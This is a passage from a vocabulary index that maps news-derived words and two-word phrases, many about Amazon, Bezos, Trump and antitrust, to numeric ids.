213476, "premeditated saudi": 213477, "denounced trump": 213478, "yr reuters": 213479, "solemn": 213480, "administration new": 213481, "156 shares": 213482, "prime logoed": 213483, "shook wall": 213484, "unlike similar": 213485, "force preliminary": 213486, "good leading": 213487, "instagram selfie": 213488, "markets single": 213489, "rabbit hole": 213490, "million experts": 213491, "dead instead": 213492, "healing power": 213493, "98point6 provides": 213494, "reported ms": 213495, "arlington answer": 213496, "frank chung": 213497, "consistent criticism": 213498, "project requested": 213499, "pressed pichai": 213500, "analysts amazongo": 213501, "register amazon": 213502, "terrific": 213503, "strategic initiatives": 213504, "criticism cast": 213505, "500 richest": 213506, "tailing": 213507, "bombardia bullmarkets": 213508, "questionable business": 213509, "tornadoes weather": 213510, "nana": 213511, "chanel armani": 213512, "target 2016": 213513, "beutler wash": 213514, "football stadiums": 213515, "relentlessly onward": 213516, "wook ben": 213517, "laura pullman": 213518, "bob mueller": 213519, "job brenda": 213520, "india": 213521, "review giving": 213522, "law provided": 213523, "proposed rules": 213524, "box community": 213525, "antitrust cases": 213526, "amazon unyielding": 213527, "remove citizenship": 213528, "valley idaho": 213529, "nanette hannah": 213530, "leaky": 213531, "food company": 213532, "fdny": 213533, "mirror similar": 213534, "social movements": 213535, "postage printed": 213536, "special secretarial": 213537, "california headquarters": 213538, "vera wang": 213539, "billion philanthropy": 213540, "analyst reiterated": 213541, "suggests scenario": 213542, "bookscan data": 213543, "shelf scanning": 213544, "parties despite": 213545, "betras": 213546, "berk": 213547, "services millions": 213548, "coming jr": 213549, "protect provisional": 213550, "hiring spree": 213551, "determining antitrust": 213552, "ages dissing": 213553, "2015 following": 213554, "apple crosses": 213555, "compatible big": 213556, "facility woman": 213557, "means money": 213558, "prefab manufacturer": 213559, "party seller": 213560, "florida bomb": 213561, "accelerate entry": 213562, "243 409": 213563, "onerous": 213564, "customers personal": 213565, "better orient": 213566, "accounts related": 213567, "divide looks": 213568, "flicking switch": 213569, "particular facilitated": 213570, "consistently criticized": 213571, "intrusive": 213572, "chloe aiello": 213573, "eu probe": 213574, "claim national": 213575, "shutdown bipartisan": 213576, "999999 jacob": 213577, "civic": 213578, "infrastructure financing": 213579, "cave diving": 213580, "night going": 213581, "yeti": 213582, "amazon efforts": 213583, "better shore": 213584, "development asked": 213585, "dollars griffeth": 213586, "pecker included": 213587, "2015 apple": 213588, "harris smithsonian": 213589, "bob woodwar": 213590, "sought resorting": 213591, "smart home": 213592, "trade print": 213593, "driver speeds": 213594, "exercise power": 213595, "follow barrage": 213596, "\u014273billion charitable": 213597, "merely make": 213598, "middle schoolers": 213599, "sanders source": 213600, "bary 415": 213601, "controversy hurting": 213602, "fuels efr": 213603, "hearing goodlatte": 213604, "future rate": 213605, "sean mcgarvey": 213606, "450 metapack": 213607, "awful letters": 213608, "onewest reverse": 213609, "lobby firms": 213610, "nursing": 213611, "burden placed": 213612, "religion": 213613, "ficus": 213614, "senate today": 213615, "contracts trump": 213616, "visit council": 213617, "hippie food": 213618, "trump increased": 213619, "president tried": 213620, "insider reports": 213621, "altered retail": 213622, "cvs express": 213623, "wide array": 213624, "dread factor": 213625, "sean": 213626, "place merely": 213627, "fellow georgetown": 213628, "proposed digital": 213629, "big savings": 213630, "trump overseas": 213631, "people bolted": 213632, "private today": 213633, "billy aouste": 213634, "blair tindall": 213635, "believes publisher": 213636, "gop congressional": 213637, "hurting smaller": 213638, "unproven set": 213639, "holy city": 213640, "trump don": 213641, "lest": 213642, "compensate drivers": 213643, "leader america": 213644, "footing": 213645, "blew": 213646, "auction site": 213647, "joins long": 213648, "financing pre": 213649, "operate independently": 213650, "enabled smart": 213651, "actually falling": 213652, "homan": 213653, "sources tell": 213654, "bengaluru jabong": 213655, "democrats did": 213656, "rising seas": 213657, "sinclair fires": 213658, "away unhealthy": 213659, "retailers enjoy": 213660, "members ran": 213661, "243": 213662, "equity research": 213663, "vote passes": 213664, "gizmodo reached": 213665, "software development": 213666, "officials predictably": 213667, "crime eric": 213668, "friendly tabloid": 213669, "reporting effort": 213670, "day shopping": 213671, "jobs citizen": 213672, "entertainment sport": 213673, "hilarious": 213674, "commercialization": 213675, "valley axios": 213676, "western hemisphere": 213677, "divorced think": 213678, "follow suit": 213679, "fully embrace": 213680, "global crisis": 213681, "newsweek": 213682, "coppola brings": 213683, "sun video": 213684, "economists consider": 213685, "steal funds": 213686, "news daily": 213687, "rivals trump": 213688, "500 gain": 213689, "impulse ernt": 213690, "nasty tweets": 213691, "new normal": 213692, "mccabe": 213693, "money bulk": 213694, "trust proceedings": 213695, "strongarmed": 213696, "choosing cream": 213697, "ozone park": 213698, "right tools": 213699, "billionaire tech": 213700, "economic reports": 213701, "taxes earlier": 213702, "symbol amzn": 213703, "tran": 213704, "group sinclair": 213705, "ware products": 213706, "basis cape": 213707, "help remake": 213708, "rhode island": 213709, "called disabled": 213710, "campaign sen": 213711, "reporter fox": 213712, "indicted": 213713, "federalist heritage": 213714, "melinda katz": 213715, "rio": 213716, "mind bogglingly": 213717, "trump sets": 213718, "befriends": 213719, "trusted mobiles": 213720, "pennsylvania charlie": 213721, "decrease hollywood": 213722, "cnbc mike": 213723, "host amazon": 213724, "proven time": 213725, "vz brand": 213726, "turkmenistan": 213727, "businessman involved": 213728, "wing corporations": 213729, "just passed": 213730, "need better": 213731, "free holiday": 213732, "kaepernick trump": 213733, "journal sec": 213734, "enthusiastic backing": 213735, "house security": 213736, "young families": 213737, "chiles ask": 213738, "great disruptor": 213739, "googles algorithms": 213740, "observer bmw": 213741, "paragraphs": 213742, "deals struck": 213743, "proof paperwhite": 213744, "repeatedly tried": 213745, "foreign direct": 213746, "flops life": 213747, "cough": 213748, "pro makes": 213749, "moderator": 213750, "pay surcharge": 213751, "d\u00e9cor": 213752, "small metal": 213753, "utensil": 213754, "diversity isn": 213755, "following criticism": 213756, "uf lf": 213757, "slamming hoops": 213758, "white knight": 213759, "cat hybrids": 213760, "nairobi kenya": 213761, "years rare": 213762, "rising tide": 213763, "amazon briefly": 213764, "episode premieres": 213765, "smaller controversies": 213766, "bork revolutionized": 213767, "proposal focused": 213768, "bright lights": 213769, "potential threats": 213770, "helps fund": 213771, "pecker battle": 213772, "online commerce": 213773, "power actually": 213774, "mcveigh capital": 213775, "partially sort": 213776, "legal position": 213777, "amazon years": 213778, "company klein": 213779, "reunite families": 213780, "vuillard trans": 213781, "vincek": 213782, "locating immigrants": 213783, "big boss": 213784, "proposed headquarters": 213785, "cloud internet": 213786, "best everyday": 213787, "product expiration": 213788, "wellington shields": 213789, "moving countries": 213790, "awarding competitive": 213791, "tea": 213792, "sure slow": 213793, "target tgt": 213794, "group noting": 213795, "j8i r8": 213796, "cleo": 213797, "covers showing": 213798, "company calculations": 213799, "tabloid prosecutors": 213800, "product subscriptions": 213801, "advantages allow": 213802, "wiseman bisbee": 213803, "post sanders": 213804, "represents huge": 213805, "body brownface": 213806, "new roads": 213807, "nasdaq sank": 213808, "renegotiated nafta": 213809, "selfie bezos": 213810, "political making": 213811, "test incredibly": 213812, "succession hotstar": 213813, "starting nov": 213814, "subcommittee focused": 213815, "capitulation feel": 213816, "diva": 213817, "refresh collapse": 213818, "news wall": 213819, "economists paul": 213820, "autos politico": 213821, "trump helped": 213822, "significant share": 213823, "chicago infrastructure": 213824, "roast": 213825, "refused": 213826, "way candidates": 213827, "big retail": 213828, "investigate russian": 213829, "tacos": 213830, "crowded trade": 213831, "1449et": 213832, "fas assistant": 213833, "prom": 213834, "free content": 213835, "defamatory": 213836, "dad bad": 213837, "unannounced product": 213838, "false instead": 213839, "add uncertainty": 213840, "live outside": 213841, "danger kudlow": 213842, "subsidize large": 213843, "hr evolutionary": 213844, "trooper guy": 213845, "sustained gw": 213846, "meals day": 213847, "special city": 213848, "lead author": 213849, "coordinated shipping": 213850, "amassing": 213851, "hoo": 213852, "businesses using": 213853, "major selling": 213854, "historical nature": 213855, "international usa": 213856, "wiseman": 213857, "different firms": 213858, "retail operations": 213859, "koons stainless": 213860, "falsely matched": 213861, "lose direct": 213862, "businesses council": 213863, "reference shelf": 213864, "underpaying taxes": 213865, "kosovo women": 213866, "tour experiences": 213867, "better oversight": 213868, "latin america": 213869, "noble apple": 213870, "normally 330": 213871, "longtime associate": 213872, "broker": 213873, "traditional businesses": 213874, "cuomo think": 213875, "commerce buyers": 213876, "today recap": 213877, "single family": 213878, "know good": 213879, "ellison wants": 213880, "designated communities": 213881, "administration routinely": 213882, "trump promised": 213883, "accord": 213884, "recent remarks": 213885, "sponsor wrote": 213886, "766": 213887, "significantly exped": 213888, "police investigators": 213889, "families purchased": 213890, "points bringing": 213891, "hill section": 213892, "depth assessment": 213893, "knausgaard fascinating": 213894, "mere hiccup": 213895, "added cummings": 213896, "deforestation numbers": 213897, "lindsey graham": 213898, "took empathy": 213899, "herefor free": 213900, "553": 213901, "various issues": 213902, "sentencing": 213903, "content charge": 213904, "descriptiontext rachel": 213905, "dan crenshaw": 213906, "corp nasdaq": 213907, "hill phil": 213908, "multicity": 213909, "really triggered": 213910, "angeles sensational": 213911, "doctor republican": 213912, "security companies": 213913, "getting reinstated": 213914, "lighthizer says": 213915, "divide": 213916, "intermediaries": 213917, "experience running": 213918, "growing popular": 213919, "damaged buildings": 213920, "opportunity actually": 213921, "taylor foto": 213922, "net joshua": 213923, "a380 toulouse": 213924, "samuel": 213925, "wilke declaring": 213926, "imports eventually": 213927, "enlistees short": 213928, "called president": 213929, "press titles": 213930, "trump easy": 213931, "facts albeit": 213932, "innovation technology": 213933, "fall sharply": 213934, "massive contract": 213935, "depression drug": 213936, "buzz snookered": 213937, "2018 saudi": 213938, "academic boycott": 213939, "enquirer reporting": 213940, "corporatizers": 213941, "good stocks": 213942, "ginned": 213943, "qanon adherents": 213944, "currency bloc": 213945, "craft spokeswoman": 213946, "studying corporate": 213947, "station newest": 213948, "worse report": 213949, "glitch": 213950, "cata santiago": 213951, "constituted conflict": 213952, "cost spent": 213953, "j6 close": 213954, "cnl_name money": 213955, "mandel praised": 213956, "traffic stop": 213957, "pegs amazon": 213958, "regulatory pressure": 213959, "dis flowers": 213960, "membership meeting": 213961, "golden age": 213962, "disc toys": 213963, "bowes publishers": 213964, "sir": 213965, "selects areas": 213966, "just discovered": 213967, "practices including": 213968, "ortega": 213969, "vuillard": 213970, "influence deforestation": 213971, "double coat": 213972, "toronto boosters": 213973, "letter opposing": 213974, "brazenly": 213975, "completely exclude": 213976, "hit high": 213977, "agreement contains": 213978, "durkan started": 213979, "pecker entered": 213980, "helal sheikh": 213981, "elliott": 213982, "weeks pulled": 213983, "service maintains": 213984, "drained": 213985, "shut mueller": 213986, "visible social": 213987, "company rogers": 213988, "eyeball": 213989, "riley": 213990, "sandy garossino": 213991, "avg volume": 213992, "jostled": 213993, "story teva": 213994, "eyes series": 213995, "diversifying": 213996, "yoon nightly": 213997, "true value": 213998, "565": 213999, "photos holiday": 214000, "isn photo": 214001, "newseum pulled": 214002, "publicly announce": 214003, "delivered kept": 214004, "000 display": 214005, "article useful": 214006, "personal demands": 214007, "french equally": 214008, "cause person": 214009, "survival jobs": 214010, "require amazon": 214011, "sessionstorage cross": 214012, "blew away": 214013, "smiling faces": 214014, "seen sort": 214015, "industrial kitchens": 214016, "growing skeptical": 214017, "amazon exercising": 214018, "reimposes ban": 214019, "funnies great": 214020, "proshare advsr": 214021, "cnbc news": 214022, "immigrants provisionally": 214023, "concerns related": 214024, "cunning": 214025, "staffers think": 214026, "making chief": 214027, "users repeatedly": 214028, "impeached download": 214029, "legitimate companies": 214030, "ag\u00eancia brasil": 214031, "videocardcontents jquery": 214032, "usps europe": 214033, "gunshot": 214034, "major breaking": 214035, "amazon pepsi": 214036, "isn guaranteed": 214037, "program prime": 214038, "director paulina": 214039, "belief": 214040, "reelections": 214041, "invincibility dynamic": 214042, "small business": 214043, "ez": 214044, "pba": 214045, "watched sports": 214046, "null inc_track_changesflag": 214047, "today jones": 214048, "celebrated gloating": 214049, "shaken buffett": 214050, "lightbot includes": 214051, "novel mount": 214052, "steam 2018": 214053, "korea consider": 214054, "group sold": 214055, "skin cancer": 214056, "allegations vietnam": 214057, "meteoric": 214058, "becker believed": 214059, "received tweet": 214060, "partners amassed": 214061, "competitive products": 214062, "mackenzie don": 214063, "city cnbc": 214064, "trump hailed": 214065, "jim watson": 214066, "angeles bureau": 214067, "grant harrington": 214068, "accounting ignores": 214069, "2022 selling": 214070, "rose director": 214071, "raised fears": 214072, "schumer pelosi": 214073, "campaign moore": 214074, "loyalist": 214075, "civil service": 214076, "mmcjoei5lm oliver": 214077, "195 000": 214078, "passed ease": 214079, "wedbush pachter": 214080, "amazon columbia": 214081, "164 shares": 214082, "specific beef": 214083, "different tech": 214084, "instinct": 214085, "authorities suggested": 214086, "suave antithesis": 214087, "2019 inheritance": 214088, "frivolous": 214089, "enquirer offered": 214090, "dvd read": 214091, "raphaella": 214092, "day moving": 214093, "mirchandani": 214094, "property": 214095, "create second": 214096, "champion progressive": 214097, "economic power": 214098, "\u0142177billion": 214099, "violence surely": 214100, "quietly unfolding": 214101, "bon": 214102, "actually just": 214103, "exclusive exclusive": 214104, "progressive legal": 214105, "illegal knockoffs": 214106, "burden faced": 214107, "org 2018": 214108, "pirated": 214109, "airbus a380": 214110, "remaining grade": 214111, "year botched": 214112, "says vietnam": 214113, "vocal trump": 214114, "order backlog": 214115, "erious concerns": 214116, "squashed": 214117, "make cautious": 214118, "trump incorrect": 214119, "mexico creating": 214120, "uffe galsgaard": 214121, "upper middle": 214122, "queens firster": 214123, "frame donald": 214124, "haberman": 214125, "glad": 214126, "insulation wear": 214127, "year maybe": 214128, "enquirer leaking": 214129, "stifle competition": 214130, "reaction enabled": 214131, "club holiday": 214132, "dumb ocasio": 214133, "norman": 214134, "hice ga": 214135, "powerball winner": 214136, "upturn": 214137, "tape need": 214138, "park rides": 214139, "pf_rd_t 101": 214140, "byron trott": 214141, "xa": 214142, "tech industries": 214143, "deliver products": 214144, "changing world": 214145, "item claims": 214146, "old walmart": 214147, "julia": 214148, "ap trump": 214149, "government want": 214150, "targaryens": 214151, "annual sale": 214152, "ftc agreement": 214153, "navarro trump": 214154, "selects new": 214155, "fulfillment network": 214156, "home include": 214157, "prices lower": 214158, "amazon dave": 214159, "herera despite": 214160, "supervening": 214161, "year turkey": 214162, "graham declined": 214163, "cloud hardware": 214164, "2019twitter ads": 214165, "investments globally": 214166, "modest request": 214167, "industries aerospace": 214168, "illegitimate": 214169, "store spokesperson": 214170, "braintree planning": 214171, "taxpayers tend": 214172, "gee": 214173, "personal device": 214174, "inflation hitting": 214175, "uk parties": 214176, "business online": 214177, "agriculture organization": 214178, "source jeff": 214179, "slashing costs": 214180, "owns 193": 214181, "mccrummen": 214182, "world labor": 214183, "democrats new": 214184, "058 ians": 214185, "commerce ecosystem": 214186, "2018 bipartisan": 214187, "walkway": 214188, "trumps state": 214189, "game world": 214190, "slightly different": 214191, "web commerce": 214192, "amazon goal": 214193, "trace bundy": 214194, "crumbling beneath": 214195, "obama hillary": 214196, "personal investment": 214197, "companies khan": 214198, "hq2 decision": 214199, "amazon systems": 214200, "0604et": 214201, "complacent claiming": 214202, "scheme apple": 214203, "jewelry art": 214204, "finance legal": 214205, "geographic inequality": 214206, "dwarf microsoft": 214207, "educational games": 214208, "extremely dangerous": 214209, "toy used": 214210, "sratingsintel": 214211, "large swaths": 214212, "giant ask": 214213, "mcmahon hair": 214214, "georgieva": 214215, "york ny": 214216, "simmons helped": 214217, "handling debts": 214218, "new passport": 214219, "rocket launches": 214220, "senator fired": 214221, "taking heat": 214222, "racy sexts": 214223, "site continues": 214224, "trek references": 214225, "follows employee": 214226, "celebrated amazon": 214227, "pennants": 214228, "does siegel": 214229, "safety net": 214230, "data analysis": 214231, "repatriation policy": 214232, "wifi solution": 214233, "windy city": 214234, "radicalizing": 214235, "currency routs": 214236, "wire work": 214237, "emmys proposal": 214238, "yorkers agree": 214239, "lightbot": 214240, "cheap amazon": 214241, "played simultaneously": 214242, "anime": 214243, "entry vaughn": 214244, "crested new": 214245, "gluck jeff_gluck2": 214246, "gaspard penny": 214247, "spielman": 214248, "general moratorium": 214249, "travel map": 214250, "10000 people": 214251, "divorce having": 214252, "sell": 214253, "subsidized shipping": 214254, "unjustly receive": 214255, "complete trip": 214256, "finished paying": 214257, "stronger healthier": 214258, "written amazon": 214259, "becker public": 214260, "year later": 214261, "colo": 214262, "applauded kamala": 214263, "hospitals cnbc": 214264, "bid poses": 214265, "dominating style": 214266, "attack toddler": 214267, "sen cruz": 214268, "eric lutz": 214269, "people confused": 214270, "disguise": 214271, "trump left": 214272, "began showing": 214273, "monney preacher": 214274, "makenzie": 214275, "100418 exlarge": 214276, "elliot": 214277, "subsequent offenses": 214278, "mentioned frequently": 214279, "hurwitz hurwitz": 214280, "baffling": 214281, "says james": 214282, "blasio told": 214283, "purchase box": 214284, "attorney says": 214285, "media stephen": 214286, "rm816": 214287, "group movimiento": 214288, "purchasing": 214289, "katherine toole": 214290, "understand amazon": 214291, "coleman": 214292, "cnl_global_nav_background_gradient_endient": 214293, "tax holiday": 214294, "cohen lied": 214295, "kaepernick reaching": 214296, "provides safe": 214297, "xinjiang": 214298, "tremendous damage": 214299, "mason": 214300, "function owl": 214301, "laden terms": 214302, "executive officer": 214303, "stenhouse": 214304, "garage mackenzie": 214305, "publix gunslinger": 214306, "statement affirming": 214307, "generalized": 214308, "allowing tens": 214309, "chains": 214310, "increasingly transmit": 214311, "ought": 214312, "presidential memoir": 214313, "welcomed": 214314, "combat hunger": 214315, "lwf7i1ijpi": 214316, "software second": 214317, "zones oz": 214318, "s9_acss_bw_cg_amzbooks_1a1_w node": 214319, "aoc faces": 214320, "following document": 214321, "yoon": 214322, "approaching employers": 214323, "stylish": 214324, "jerritt clark": 214325, "flyers": 214326, "lester quinones": 214327, "average workers": 214328, "analyst jessica": 214329, "vmware globenewswire": 214330, "comment president": 214331, "souls": 214332, "services generally": 214333, "choose halloween": 214334, "newsletter delivered": 214335, "imposing tariffs": 214336, "math photo": 214337, "carver esque": 214338, "drawings": 214339, "mccain called": 214340, "undertake capex": 214341, "cached version": 214342, "real costs": 214343, "friend raped": 214344, "head lazy": 214345, "cortez shot": 214346, "days year": 214347, "typically hit": 214348, "sharing user": 214349, "washington vast": 214350, "funding received": 214351, "adam schitt": 214352, "acquiring time": 214353, "thickened": 214354, "obligation": 214355, "sachs": 214356, "flannagan": 214357, "story continuesa": 214358, "north andover": 214359, "couldn comment": 214360, "amazon losing": 214361, "inclusion": 214362, "vaxxers don": 214363, "aircraft pilot": 214364, "ocwauaqg72": 214365, "globe investor": 214366, "sound high": 214367, "dungy": 214368, "finally weighed": 214369, "chasmar": 214370, "trump refuses": 214371, "dara": 214372, "lower right": 214373, "just thankful": 214374, "landline": 214375, "opposition political": 214376, "sandals": 214377, "lawmakers recently": 214378, "auction sealed": 214379, "paid time": 214380, "broader government": 214381, "recent acquisition": 214382, "prosecution agreement": 214383, "mobs": 214384, "hq colorado": 214385, "safeway world": 214386, "guppies": 214387, "deforestation additional": 214388, "reynders mcveigh": 214389, "false narrative": 214390, "recent price": 214391, "significantly": 214392, "wenig ceo": 214393, "kirsten": 214394, "retail sales": 214395, "launch major": 214396, "consumers begin": 214397, "self contained": 214398, "linking washington": 214399, "freshmen pushing": 214400, "include algorithms": 214401, "veteran health": 214402, "publish damaging": 214403, "offices running": 214404, "usual republicans": 214405, "aristocrat comedian": 214406, "reportedly date": 214407, "digital buyers": 214408, "chief content": 214409, "options using": 214410, "jay greene": 214411, "quoted icann": 214412, "infrastructure capturing": 214413, "amazon contain": 214414, "evil tech": 214415, "amazon software": 214416, "understated specifically": 214417, "honestly": 214418, "producing evidence": 214419, "ai reads": 214420, "hedge funds": 214421, "team effort": 214422, "richard sokolsky": 214423, "william gibson": 214424, "203": 214425, "ginsberg": 214426, "global assets": 214427, "mazon critics": 214428, "politicians actually": 214429, "related trade": 214430, "mcnicoll brian": 214431, "inquirer cut": 214432, "theflashback 2003": 214433, "republican shift": 214434, "salisburyjournal": 214435, "white paper": 214436, "morning drizzle": 214437, "warns ashoka": 214438, "global presence": 214439, "month": 214440, "maybe amazon": 214441, "purchase time": 214442, "photos including": 214443, "younger consumers": 214444, "happening especially": 214445, "nyet": 214446, "analyst claims": 214447, "meyerhoff lewiston": 214448, "taxpayers pick": 214449, "time shows": 214450, "usps helped": 214451, "wrote pecker": 214452, "included retail": 214453, "buy amazon": 214454, "defends tariffs": 214455, "bozo really": 214456, "selling illegal": 214457, "sake": 214458, "house decided": 214459, "moodys": 214460, "quid": 214461, "emergency landing": 214462, "appreciate quick": 214463, "riedel president": 214464, "staffing": 214465, "evers": 214466, "legal techniques": 214467, "bearish record": 214468, "political preference": 214469, "confirms cia": 214470, "make arrests": 214471, "investment analysts": 214472, "later approached": 214473, "forecast operating": 214474, "complaints won": 214475, "royalties going": 214476, "dozen people": 214477, "seek divorce": 214478, "force shoppers": 214479, "aligned committees": 214480, "led movement": 214481, "korea test": 214482, "sweeping novel": 214483, "facebook prospects": 214484, "foremost expert": 214485, "whitaker abbi": 214486, "ship packages": 214487, "world developed": 214488, "play photo": 214489, "web taxes": 214490, "news business": 214491, "examining agreement": 214492, "follow raw": 214493, "president regarding": 214494, "emily singer": 214495, "google employees": 214496, "411": 214497, "arriving": 214498, "event whistleblower": 214499, "scheiber": 214500, "corporate structure": 214501, "big bank": 214502, "fedex buy": 214503, "numerous legal": 214504, "decade capital": 214505, "hired gavin": 214506, "bloomua": 214507, "include social": 214508, "rapidly expanding": 214509, "430 words": 214510, "splashes lately": 214511, "office flotus": 214512, "abhishek chinnappa": 214513, "invented conservative": 214514, "1520251200": 214515, "book stormy": 214516, "natalie andrews": 214517, "seemingly profit": 214518, "iran backed": 214519, "suleiman": 214520, "wb xb": 214521, "cyberespionage": 214522, "items appeared": 214523, "formative years": 214524, "piece focused": 214525, "successful bezos": 214526, "north chinese": 214527, "broker lawrence": 214528, "unlock extra": 214529, "writer adapts": 214530, "worth discussing": 214531, "employment information": 214532, "amazon hr": 214533, "ranked retail": 214534, "attention given": 214535, "abrams spy": 214536, "acquisition tactics": 214537, "volcano eruption": 214538, "solution worldwide": 214539, "stock nabbed": 214540, "election ceo": 214541, "anymore amazon": 214542, "telephone company": 214543, "selling items": 214544, "dettmer voa": 214545, "amazon decisions": 214546, "progressive antitrust": 214547, "philanthropist tom": 214548, "emptive": 214549, "assails": 214550, "bankruptcies hair": 214551, "democratic nation": 214552, "1962092244 f7a": 214553, "wbc": 214554, "ny author": 214555, "creating accounting": 214556, "rhythm": 214557, "cashierless store": 214558, "president concerns": 214559, "specifically calls": 214560, "capt humayun": 214561, "luck kyle": 214562, "probe fallout": 214563, "highly doubt": 214564, "smart solutions": 214565, "profits clark": 214566, "sense shoot": 214567, "paid jobs": 214568, "terrible day": 214569, "capital": 214570, "radical ahead": 214571, "chased tedcruz": 214572, "site pushed": 214573, "solicitation procurement": 214574, "york sex": 214575, "marketwatch facebook": 214576, "service dispose": 214577, "trial monica": 214578, "fact hear": 214579, "equipment acquisitions": 214580, "success academy": 214581, "used tariffs": 214582, "man marius": 214583, "officials gathering": 214584, "dominating online": 214585, "allen sued": 214586, "video emmy": 214587, "pay potentially": 214588, "boosted package": 214589, "sullivan california": 214590, "horror thriller": 214591, "themed book": 214592, "hackers burglarizing": 214593, "level streaming": 214594, "bezos condemned": 214595, "gurnani md": 214596, "mobile devicesall": 214597, "overstated": 214598, "deadliest catch": 214599, "rapidly remade": 214600, "reforming public": 214601, "lutz maria": 214602, "workers outsourced": 214603, "detailed notes": 214604, "post record": 214605, "seat covers": 214606, "pension benefits": 214607, "firstborn lisa": 214608, "internet freedoms": 214609, "seize 400": 214610, "stashed": 214611, "program stricter": 214612, "radar protest": 214613, "hidethumbnail function": 214614, "erratic ill": 214615, "amendment rights": 214616, "assuming": 214617, "danny westneat": 214618, "create incredibly": 214619, "angeles fundraiser": 214620, "science south": 214621, "stated author": 214622, "means pretty": 214623, "john lithgow": 214624, "govpredict study": 214625, "staggered timing": 214626, "gilead gild": 214627, "companies avoiding": 214628, "elementcontents imageurl": 214629, "foraging eating": 214630, "tech ceos": 214631, "keshner workers": 214632, "crucified": 214633, "does videocmsurl": 214634, "deal house": 214635, "hanson wrote": 214636, "war weighs": 214637, "minute drive": 214638, "beleaguered administration": 214639, "prices package": 214640, "continued colbert": 214641, "2000s donald": 214642, "kennedy building": 214643, "cantonalbank": 214644, "venture": 214645, "acosta dust": 214646, "aravella": 214647, "632 shares": 214648, "new problem": 214649, "ryder bezos": 214650, "rumored girlfriend": 214651, "best words": 214652, "pressured amazon": 214653, "dating site": 214654, "andrew hogan": 214655, "compromise talks": 214656, "reboot tron": 214657, "goldcrest": 214658, "green light": 214659, "bob woodard": 214660, "hacking conspiracy": 214661, "outspoken conservative": 214662, "relationship attacking": 214663, "defunct": 214664, "real protagonist": 214665, "results announced": 214666, "returning figures": 214667, "chuck marr": 214668, "kabir american": 214669, "decreasing heart": 214670, "unsworth attorney": 214671, "billionaire wsj": 214672, "make asia": 214673, "impaired viewers": 214674, "england soon": 214675, "emergency brushes": 214676, "nycedc": 214677, "administrator scott": 214678, "winner amazon": 214679, "pennsylvania lawmakers": 214680, "reuse": 214681, "vogue": 214682, "withholding tables": 214683, "magazine trump": 214684, "erdogan claimed": 214685, "bezos allegations": 214686, "strong unmistakable": 214687, "breakout": 214688, "michael norris": 214689, "retail juggernaut": 214690, "allknow fashions": 214691, "creates higher": 214692, "supposedly women": 214693, "audited deferred": 214694, "tech chops": 214695, "fickle": 214696, "vegas attack": 214697, "global investment": 214698, "help free": 214699, "trimmer amazon": 214700, "blasey ford": 214701, "day tourists": 214702, "old guard": 214703, "baby dream": 214704, "european military": 214705, "union stacey": 214706, "organization wascompletely": 214707, "future spending": 214708, "tweets sending": 214709, "advocacy organizations": 214710, "faced strong": 214711, "officials dispatched": 214712, "finds fame": 214713, "rocket startup": 214714, "threatens": 214715, "mullins laura": 214716, "maxwell strachan": 214717, "cambridge investment": 214718, "death destroyer": 214719, "america chanted": 214720, "robot dinosaurs": 214721, "standpoint": 214722, "owned forests": 214723, "schiff words": 214724, "tha": 214725, "2017steve jobs": 214726, "value diplomacy": 214727, "tariff coverage": 214728, "twitch": 214729, "alliance trump": 214730, "stolen checks": 214731, "online video": 214732, "hall gathering": 214733, "delivery using": 214734, "instead battling": 214735, "tabloid contacted": 214736, "purported billionaire": 214737, "brazilian energy": 214738, "necessary spokesperson": 214739, "costly litigation": 214740, "containing link": 214741, "predate": 214742, "adjusted eps": 214743, "bezos replies": 214744, "multibillionare": 214745, "add ons": 214746, "concur": 214747, "deal warren": 214748, "investing aggressively": 214749, "uniforms cnn": 214750, "lot better": 214751, "ovide write": 214752, "trump bernie": 214753, "misimpression created": 214754, "key advantage": 214755, "story facebooks": 214756, "pay small": 214757, "taylor lord": 214758, "apple 2018": 214759, "partisan efforts": 214760, "course squarely": 214761, "week related": 214762, "freeman issued": 214763, "warranted": 214764, "amazon normal": 214765, "long remembers": 214766, "baraka northeast": 214767, "annual charity": 214768, "drug involved": 214769, "cats": 214770, "shoes": 214771, "boorstin nightly": 214772, "delivered split": 214773, "shivers": 214774, "pfizer investors": 214775, "presorting": 214776, "changes immediately": 214777, "establishing standing": 214778, "cia analyst": 214779, "stream according": 214780, "washington university": 214781, "unchecked growth": 214782, "national electrical": 214783, "taken strict": 214784, "cronyisms": 214785, "county deputy": 214786, "critics warn": 214787, "dc mandel": 214788, "believe giant": 214789, "jobs president": 214790, "trulia report": 214791, "html _from": 214792, "cmtx minutes": 214793, "accusing social": 214794, "wall prepared": 214795, "labor alexander": 214796, "polly voices": 214797, "complicate present": 214798, "cousins nominated": 214799, "bezos frequent": 214800, "force individuals": 214801, "great hostage": 214802, "devastating potentially": 214803, "legitimate concerns": 214804, "level provided": 214805, "stated amazon": 214806, "gayle king": 214807, "pizzazz emotion": 214808, "2015 data": 214809, "frantically typing": 214810, "harney 2019": 214811, "continued partnership": 214812, "gayle rapid": 214813, "professional desktop": 214814, "theater reviews": 214815, "measuring community": 214816, "del brkb": 214817, "good position": 214818, "nostrums raising": 214819, "sanctions warsaw": 214820, "commercial usually": 214821, "leveled range": 214822, "avoid gofundme": 214823, "likened": 214824, "531": 214825, "people tropical": 214826, "freshmen": 214827, "mounting": 214828, "public institution": 214829, "outside london": 214830, "african american": 214831, "procurement lawyer": 214832, "inevitable wall": 214833, "lure": 214834, "represents powerful": 214835, "compton": 214836, "investigations key": 214837, "carol moessinger": 214838, "wayne county": 214839, "impeachment inquiry": 214840, "cal peternell": 214841, "slam president": 214842, "experts help": 214843, "appointment": 214844, "hospitality": 214845, "wielding monopoly": 214846, "international destinations": 214847, "enforcement unless": 214848, "unusually": 214849, "county residents": 214850, "cicilline": 214851, "directly weaponizing": 214852, "board contributed": 214853, "usps blaming": 214854, "anonymous youtube": 214855, "vibrant cities": 214856, "sensors indicated": 214857, "unreported speculation": 214858, "rival services": 214859, "capturing pilot": 214860, "petitioned companies": 214861, "company did": 214862, "readying": 214863, "stocks return": 214864, "taken hit": 214865, "hinton amazon": 214866, "china doesnt": 214867, "kingdom": 214868, "godsend": 214869, "items conceptually": 214870, "burton file": 214871, "opinion article": 214872, "subsidies plus": 214873, "dimitrios kambouris": 214874, "warren sanders": 214875, "international parcel": 214876, "live commentary": 214877, "vandenberg": 214878, "green cards": 214879, "expects": 214880, "london chatham": 214881, "yr amazon": 214882, "detection group": 214883, "corp enters": 214884, "blimp": 214885, "amazon minimal": 214886, "agreement blocking": 214887, "previously indicated": 214888, "hopefuls warren": 214889, "french guiana": 214890, "valuation facebook": 214891, "harper 460k": 214892, "apologies seattle": 214893, "haired": 